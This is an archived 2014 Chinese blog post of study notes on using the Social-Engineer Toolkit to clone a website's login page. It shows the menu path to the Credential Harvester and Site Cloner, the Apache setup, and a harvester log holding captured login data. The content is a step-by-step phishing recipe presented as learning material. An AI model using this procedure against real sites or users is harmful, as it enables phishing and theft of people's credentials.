【2014-06-01】某《魔鬼训练营》读书笔记：setoolkit克隆网站

[历史归档]本文原发布于 cstriker1407.info 个人博客内容为历史存档仅供参考。发布时间2014-06-01 标题某《魔鬼训练营》读书笔记setoolkit克隆网站分类操作系统 / 安全 标签社会工程学·setoolkit某《魔鬼训练营》读书笔记setoolkit克隆网站setoolkit克隆网站的基本流程注意事项笔记仅供学习交流使用请勿进行其他用途setoolkit是一个非常有用的社会工程学工具里面有很多工具这里作者只笔记下其最简单的使用方法。setoolkit克隆网站的基本流程The Social-Engineer Toolkit is a product of TrustedSec. Visit: https://www.trustedsec.com Select from the menu:1)Social-Engineering Attacks 。。。。。。。。 set1#选择11)Spear-Phishing Attack Vectors2)Website Attack Vectors 。。。。。。。。 set2#选择21)Java Applet Attack Method2)Metasploit Browser Exploit Method3)Credential Harvester Attack Method 。。。。。。。。 set:webattack3#选择31)Web Templates2)Site Cloner3)Custom Import99)Return to Webattack Menu set:webattack2#选择2 这里我们克隆一个也可以选择已有的模板或者手动导入[-]Credential harvester will allow you to utilize the clone capabilities within SET[-]to harvest credentials or parameters from a website as well as place them into a report[-]SET supports both HTTP and HTTPS[-]Example: http://www.thisisafakesite.com set:webattackEnter the url to clone:http://www.test.com/login.php#输入要克隆的网址[*]Cloning the website: http://www.test.com/login.php[*]This could take a little bit... The best way to use this attack isifusername and password form fields are available. Regardless, this captures all POSTs on a website.[*]Apache issetto ON - everything will be placedinyour web root directory of apache.[*]Files will be written out to the root directory of apache.[*]ALL files are within your Apache directory since you specified it to ON.[!]Apache may be not running,doyou want SET to start the process?:y#作者在set_config中设置了APACHE为ON同时保持APACHE的目录为 /var/www[....]Starting web server: apache2apache2: Could not reliably determine the servers fully qualified domain name, using127.0.1.1forServerName.ok Apache webserver issetto ON. Copying over PHPfileto the website. Please note that all output from the harvester will be found under apache_dir/harvester_date.txt Feelfreeto customize post.phpinthe /var/www directory[*]All files have been copied to /var/www{Pressreturnto continue}#敲回车开始。。。。。当有用户进入了这个克隆的网站并且输入数据后我们就可以看到后台的日志了rootkali:/var/www# pwd/var/www rootkali:/var/www# lsharvester_2014-06-0118:12:39.762872.txt index.html post.php rootkali:/var/www# cat harvester_2014-06-01\ 18\:12\:39.762872.txtArray(test1234登录http://www.test.com/login.php1)注意事项作者不是web开发出身对于web开发不是太熟悉简单的看了下 index.html 和 post.php 这两个文件感觉使用这种方式克隆网站局限性还是很大的必须是采用 post 方式提交才可以不知道对不对如果有大神路过还请指点一二。